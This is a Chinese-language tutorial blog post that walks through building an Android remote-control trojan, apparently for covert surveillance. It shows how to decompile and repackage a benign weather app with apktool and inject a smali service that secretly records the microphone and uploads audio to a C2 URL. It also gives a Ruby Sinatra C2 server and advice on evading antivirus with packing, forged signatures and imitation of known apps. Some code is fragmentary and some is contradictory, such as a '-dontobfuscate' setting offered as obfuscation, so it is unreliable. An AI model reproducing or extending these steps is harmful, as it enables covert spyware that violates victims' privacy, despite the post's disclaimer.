一、从控制到入侵:安卓远控木马的原理全解
有一次,我在研究安卓恶意软件时发现了一个有趣的现象:很多安卓远控木马的核心思路其实非常简单,却能完成令人惊讶的复杂操作。它们的本质就是利用安卓的 组件机制(Activities、Services、Broadcast Receivers 等) 和 Android API 提供的强大权限,来实现对设备的完全控制。
远控木马的关键就在于 两大核心模块:
- C2通信模块:负责与攻击者的控制端进行实时通信,可以通过 HTTP、WebSocket、TCP 等协议来实现。
- Payload模块:负责在目标设备上执行恶意操作,比如盗取短信、录音、远程拍照、文件窃取等。
攻击者通常会把木马伪装成正常应用(比如计算器、天气应用),然后通过社工或者钓鱼的方式诱导受害者安装。安装后,木马会悄悄申请高危权限并隐藏自己,随后与 C2 服务器建立通信,等待攻击者的命令。
接下来,我会通过一个完整的实战案例,展示如何一步步构造一个功能完整的安卓远控木马。当然,本文仅供授权测试和技术研究使用,切勿用于非法用途。
---
二、搭建实战环境:兵马未动,工具先行
我的习惯是在正式开发和测试前,先搭建一个稳定的实验环境。这次我们需要以下工具:

工具清单
- Kali Linux:作为攻击者的控制端,搭建 C2 服务。
- 安卓虚拟机(Android Emulator):用于测试木马,推荐使用 Genymotion 或者 Android Studio 自带的模拟器。
- APKTool:用于反编译和重打包安卓 APK 文件。
- Ruby + Shell 环境:我们会用 Ruby 开发简易的 C2 服务端,同时用 Shell 脚本辅助自动化。
- Android Studio:用于开发和调试木马代码。
环境搭建步骤
- 安装 Android Emulator
- 下载并安装 Genymotion,创建一个 Android 9.0 以上版本的虚拟机。
- 开启虚拟机并确保设备可以正常联网。
- 配置 Kali Linux
- 确保 Kali 上安装了 Ruby 和必要的 gems:
- 安装 APKTool:
<pre><code class="language-bash"> apt update && apt install ruby-full gem install sinatra thin `
`bash apt install apktool `

- 准备测试用目标 APK
- 在网上下载一个简单的开源安卓应用作为测试目标,比如一款天气预报 APP。
- 使用 APKTool 反编译:
- 反编译后,我们会在
test_app_src目录下看到所有的资源和代码文件。
`bash apktool d test_app.apk -o test_app_src `
---
三、Payload 构造的艺术:编写恶意模块
这部分是整个木马开发的核心,我们需要在目标应用的基础上注入恶意代码。我选择了一个简单但有效的功能作为示例:远程窃听麦克风录音。
注入恶意代码
- 修改 AndroidManifest.xml
在 test_app_src/AndroidManifest.xml 中添加高危权限: `xml <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.INTERNET" /> ` 这些权限允许应用访问麦克风和联网。

- 添加恶意服务
在源码目录下(比如 smali/com/example),新建一个名为 MaliciousService.smali 的文件,这是我们的恶意服务代码。以下是伪代码: `smali .class public Lcom/example/MaliciousService; .super Landroid/app/Service;
.method public onStartCommand(Landroid/content/Intent;I)I .locals 2 .prologue const-string v0, "http://<你的C2服务器>/upload_audio" invoke-static {v0}, Lcom/example/Utils;->recordAndUpload(Ljava/lang/String;)V return v0 .end method ` 这段代码在后台启动时会调用 Utils 类的 recordAndUpload 方法,将麦克风采集到的音频上传到我们的 C2 服务器。
- 实现录音上传功能
在 Utils.smali 中添加以下代码: `smali .method public static recordAndUpload(Ljava/lang/String;)V .locals 3 .prologue
启动录音
new-instance v0, Landroid/media/MediaRecorder; invoke-direct {v0}, Landroid/media/MediaRecorder;-><init>()V invoke-virtual {v0}, Landroid/media/MediaRecorder;->setAudioSource(I)V const-string v1, "/data/data/com.example/mic_record.3gp" invoke-virtual {v0, v1}, Landroid/media/MediaRecorder;->setOutputFile(Ljava/lang/String;)V invoke-virtual {v0}, Landroid/media/MediaRecorder;->prepare()V invoke-virtual {v0}, Landroid/media/MediaRecorder;->start()V
上传到 C2
invoke-static {v1, p0}, Lcom/example/HttpUtils;->uploadFile(Ljava/lang/String;Ljava/lang/String;)V return-void .end method `
- 重新打包应用
使用 APKTool 将修改后的文件重新打包并签名: `bash apktool b test_app_src -o malicious_app.apk jarsigner -keystore my-release-key.keystore malicious_app.apk alias_name `
---
四、搭建 C2 控制端:Ruby 实现服务端控制
为了接收木马上传的数据和发送指令,我们需要一个简单的 C2 服务端。我用 Ruby 写了一个 Web 服务。 </code></pre>ruby require 'sinatra'
set :port, 8080 set :bind, '0.0.0.0'
接收音频文件上传
post '/upload_audio' do filename = "recording_#{Time.now.to_i}.3gp" File.open("./uploads/#{filename}", 'wb') do |f| f.write(request.body.read) end "File uploaded: #{filename}" end
发送指令给木马
get '/command' do "record_audio" end <pre><code> 把这段代码保存为 c2_server.rb,然后运行:</code></pre>bash ruby c2_server.rb <pre><code>服务端会监听 8080 端口,接收音频文件上传。
---
五、跨过检测:免杀与伪装技巧
在实战中,木马如果被反病毒软件轻易检测到就失去了意义。以下是一些免杀和伪装的技巧:

代码混淆
使用 ProGuard 对代码进行混淆,使恶意逻辑不容易被发现。</code></pre>bash -dontobfuscate
混淆配置
`
加壳技术
通过给 APK 加壳,让恶意代码在运行时动态解密加载。
签名伪装
使用知名公司的签名伪造工具,使木马看起来更可信。
---
六、最终测试与效果展示
将恶意 APK 安装到虚拟机上,在 C2 服务端监控是否收到音频文件。如果一切正常,服务端会提示「File uploaded」并在 uploads 目录下生成录音文件。
---
七、个人经验总结
制作安卓远控木马并不难,难的是如何绕过检测并实现隐蔽性。我在实战中总结了一些经验:
- 功能不要过于复杂,越复杂的功能越容易暴露。
- 慎用公开的签名和壳,很多杀软已经标记了这些工具的特征。
- 学会伪装成正常应用,比如模仿知名软件的界面和功能。
希望这篇文章能让你对安卓远控木马的开发有更深的理解,同时也提醒大家合法使用技术,保护自己的设备安全。